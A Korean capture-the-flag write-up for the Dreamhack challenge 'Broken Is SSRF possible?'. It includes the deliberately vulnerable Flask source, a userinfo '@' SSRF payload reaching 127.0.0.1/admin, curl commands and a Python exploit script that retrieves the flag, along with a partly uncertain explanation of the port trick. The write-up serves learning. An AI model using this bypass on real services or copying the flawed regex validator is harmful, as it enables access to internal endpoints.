[Dreamhack] Broken Is SSRF possible?
2024. 11. 24.

문제 제목만 보았을 때 ssrf 문제인가...? 라는 생각부터 들긴 했다.

 

https://dreamhack.io/wargame/challenges/1412

 

Broken Is SSRF possible?

?? : 퍼벙-(ssrf 터지는 소리)

dreamhack.io

소스 코드 분석 후 취약 사이트로 접속해 보자.

더보기

app.py

from flask import Flask, request, jsonify
import re
import ipaddress
import socket
import time
import hashlib
import requests
app = Flask(__name__)

flag = "d23b51c4e4d5f7c4e842476fea4be33ba8de9607dfe727c5024c66f78052b70a"

def sha256_hash(text):
    text_bytes = text.encode('utf-8')
    sha256 = hashlib.sha256()
    sha256.update(text_bytes)
    hash_hex = sha256.hexdigest()
    return hash_hex

isSafe = False
def check_ssrf(url,checked):
    global isSafe
    # if "@" in url or "#" in url:
    #     isSafe = False
    #     return "Fail"
    if checked > 3:
        print("3번을 초과하여 redirection되는 URL은 금지됩니다.")
        isSafe = False
        return "Fail"
    protocol = re.match(r'^[^:]+', url)
    if protocol is None:
        isSafe = False
        print("프로토콜이 감지되지 않았습니다.")
        return "Fail"
    print("Protocol :",protocol.group())
    if protocol.group() == "http" or protocol.group() == "https":
        host = re.search(r'(?<=//)[^/]+', url)
        print(host.group())
        if host is None:
            isSafe = False
            print("호스트가 감지되지 않았습니다.")
            return "Fail"
        host = host.group()
        if ":" in host:
            host = host.split(":")
            host = host[0]
        print("Host :",host)
        try:
            ip_address = socket.gethostbyname(host)
        except:
            print("호스트가 올바르지 않습니다.")
            isSafe = False
            return "Fail"
        for _ in range(60):
            print("IP를 검증 중입니다..", _)
            ip_address = socket.gethostbyname(host)
            if ipaddress.ip_address(ip_address).is_private:
                print("내부망 IP가 감지되었습니다. ")
                isSafe = False
                return "Fail"
            time.sleep(1) # 1초 대기
        print("리다이렉션을 확인합니다 : ",url)
        try:
            response = requests.get(url,allow_redirects=False)
            if 300 <= response.status_code and response.status_code <= 309:
                redirect_url = response.headers['location']
                print("리다이렉션이 감지되었습니다.",redirect_url)
                if len(redirect_url) >= 120:
                    isSafe = False
                    return "fail"
                check_ssrf(redirect_url,checked + 1)
        except:
            print("URL 요청에 실패했습니다.")
            isSafe = False
            return "Fail"
        if isSafe == True:
            print("URL 등록에 성공했습니다.")
            return "SUCCESS"
        else:
            return "Fail"

    else:
        print("URL이 HTTP / HTTPS로 시작하는 지 확인하세요.")
        isSafe = False
        return "Fail"

@app.route('/check-url', methods=['POST'])
def check_url():
    global isSafe
    data = request.get_json()
    if 'url' not in data:
        return jsonify({'error': 'No URL provided'}), 400

    url = data['url']
    host = re.search(r'(?<=//)[^/]+', url)
    print(host.group())
    if host is None:
        print("호스트가 감지되지 않았습니다.")
        return "Fail"
    host = host.group()
    if ":" in host:
        host = host.split(":")
        host = host[0]
    if host != "www.google.com":
        isSafe = False
        return "Host는 반드시 www.google.com이어야 합니다."
    isSafe = True
    result = check_ssrf(url,1)
    if result != "SUCCESS" or isSafe != True:
        return "SSRF를 일으킬 수 있는 URL입니다."
    try:
        response = requests.get(url)
        status_code = response.status_code
        return jsonify({'url': url, 'status_code': status_code})
    except requests.exceptions.RequestException as e:
        return jsonify({'error': 'Request Failed.'}), 500
    
@app.route('/admin',methods=['GET'])
def admin():
    global flag
    user_ip = request.remote_addr
    if user_ip != "127.0.0.1":
        return "only localhost."
    if request.args.get('nickname'):
        nickname = request.args.get('nickname')
        flag = sha256_hash(nickname)
        return "success."

@app.route("/flag",methods=['POST'])
def clear():
    global flag
    if flag == sha256_hash(request.args.get('nickname')):
        return "DH{REDACTED}"
    else:
        return "you can't bypass SSRF-FILTER zzlol 😛"

if __name__ == '__main__':
    print("Hash : ",sha256_hash("당신의 창의적인 공격 아이디어를 보여주세요!"))
    app.run(debug=False,host='0.0.0.0',port=80)

 

간단하게 핵심 함수들만 분석해보자.

※ check_ssrf 함수
url이 http / https 프로토콜 사용하는지 검사
ip 주소가 프라이빗한지 체크
3번까지 리디렉션을 허용함
호스트가 정확히 http://www.google.com인지 확인
호스트의 ip 주소를 최대 60초동안 반복적으로 확인

● ssrf bypass idea?
http://www.google.com이 허용된 도메인 -> 여기에 open redirect가 포함될 경우 -> 프라이빗 ip or localhost로 리디렉트시킴
dns 리바인딩? -> 허용 ip / 나중에는 127.0.0.1 아이피로 확인되는 우회
/admin
127.0.0.1 에서만 접근 가능함
127.0.0.1 localhost에서 전달받은 nickname 파라미터를 저장, 나중에 /flag에서 검증할때 사

/flag
nickname의 sha-256 해시된 값과 플래그 값 비교
해시 값 일치할 경우 -> 플래그 반환

 

Exploit idea



ssrf를 통한 /admin 접근
-> ssrf를 이용, http://127.0.0.1/admin을 타겟으로 하는 url 생성
-> nickname 파라미터 설정

-> nickname을 test1234로 설정함

nickname을 sha-256 해시화
계산된 해시값을 기반으로 /flag 에 요청을 보내서 플래그 획득

페이로드는 이거:
{
    "url": "http://www.google.com@127.0.0.1/admin?nickname=test1234"
}


curl로 요청을 보내서 어떤 우회가 먹히는지 확인해보자.

curl -X POST "http://host3.dreamhack.games:20329/check-url" \
-H "Content-Type: application/json" \
-d '{"url": "http://www.google.com@127.0.0.1/admin?nickname=test1234"}'


만약 위의 curl 요청이 잘 먹혔다면? -> nickname = test1234를 sha-256 해시화함


실패해서 다른걸로 시도ㄱㄱ

처음에는 url 리디렉션을 염두에 두고 넣은 코드(리디렉션 3번 허용)로 리디렉션을 따로 쿼리에 설정해 주었는데

"url": "http://www.google.com/redirect?target=http://127.0.0.1/admin?nickname=test1234"

이런 식으로

그런데 실패

@를 이용해서 ip주소로 우회하는건 맞는데 -> www.google.com:80   했을 때 된 이유를 모르겠다.....

 

Google

 

www.google.com:80

추측 상, https의 포트는 443이고, http의 포트는 80이라서 http인 google.com 호스트와 연결하기 위해선 80번 포트를 따로 지정해줘야 하는게 아닐까 하고 생각이 들긴 한다. 정확한건 모르겠다. 공부 다시해봐야할듯

※ 포트와 프로토콜의 불일치

기본적으로 443 포트로 패킷을 보내게 될 텐데, http 프로토콜로 곧장 보내버린다면 사용 포트와 프로토콜의 불일치로 인해 빠꾸먹어버린다고 한다.

curl -X POST "http://host3.dreamhack.games:20329/check-url" \
-H "Content-Type: application/json" \
-d '{"url": "http://www.google.com:80@127.0.0.1/admin?nickname=test1234"}'

status가 200이 떴다. 즉 우회에 성공한 것
만약 요청이 성공하였다면, 아래와 같이 

curl -X POST "http://host3.dreamhack.games:23092/flag?nickname=test1234"

curl로 요청을 보내면 nickname=test1234를 해시화한 후 비교한 다음에 플래그를 출력하게 된다.

 

더보기

@는 url에서 인증정보 / 호스트를 구분하는데 쓰인다.

위에서 http://www.google.com:80 을 호스트로 지정한 것은 맞지만, @를 쓰게 되면 그 뒤의 주소로 호스트 재지정이 일어나게 된다. 

검증 로직의 문제

  • 서버는 url을 단순히 문자열로 처리하며 정규식으로 호스트를 추출
  • 정규식은 userinfo 부분과 host를 구분하지 못하고 전체를 호스트로 인식
  • 실제 네트워크 요청은 userinfo를 제외한 host를 사용하므로 검증과 요청 간 불일치 발생

만약 http://username@host/path라는 url이 있다고 가정해보자

  1. 검증
    • http://username@host/path에서 @ 재지정으로 인해 username은 네트워크 요청 시 무시됨
    • 따라서 host만 실제로 호스트로 인식됨
  2. 정규식 검증의 문제
    • 그러나 정규식은 userinfo@host 전체를 호스트로 검출하게됨
    • 실제 네트워크 요청은 userinfo를 무시하고 host만 사용
  3. 우회
    • 검증: 결과적으론 username을 포함하므로 통과.
    • 요청: 127.0.0.1로 호스트 인식

 

웹 페이지에 들어가면 이렇게 not found가 뜰텐데 당황하지 말자. / 경로에 대한 설정이 안되어있어서 그렇다.

curl / python request 패키지를 사용해서 해당 웹 서버로 요청을 보내는 방식으로 풀어나가면 된다.

Exploit code

더보기
import requests
import hashlib

base_url = "http://host3.dreamhack.games:20329"
nickname = "test1234"

# ssrf를 이용해 /admin 요청
ssrf_payload = {
    "url": f"http://www.google.com:80@127.0.0.1/admin?nickname={nickname}"
}

response = requests.post(f"{base_url}/check-url", json=ssrf_payload)

if response.status_code == 200:
    print("success")
else:
    print("failed ", response.text)
    exit()

# sha 256 해시화
hashed_flag = hashlib.sha256(nickname.encode()).hexdigest()  # 문자열을 웹 서버로 보냄 -> 우선 url encoding 후, 해시화
print(f"{hashed_flag}")

# /flag 요청보내기
flag_response = requests.post(f"{base_url}/flag", params={"nickname": nickname})

if "DH{" in flag_response.text:
    print(f"{flag_response.text}")
else:
    print("failed", flag_response.text)

실행시켜보면 다음과 같다.

파이썬 버전 -> 3.12

변경한 닉네임(test1234)의 해시값과 플래그가 출력됨

sleep(1)로 인해 조금 느리게 플래그가 출력되는 것을 확인

 

 

'보안 > Web hacking' 카테고리의 다른 글

[Dreamhack] Baby - ai  (0) 2024.12.18
[Dreamhack] TODO List 0.0.1  (1) 2024.11.29
[Dreamhack] youth-Case  (0) 2024.11.22
[Dreamhack] Secure Secret  (1) 2024.11.14
[Dreamhack] Where-is-localhost  (0) 2024.11.11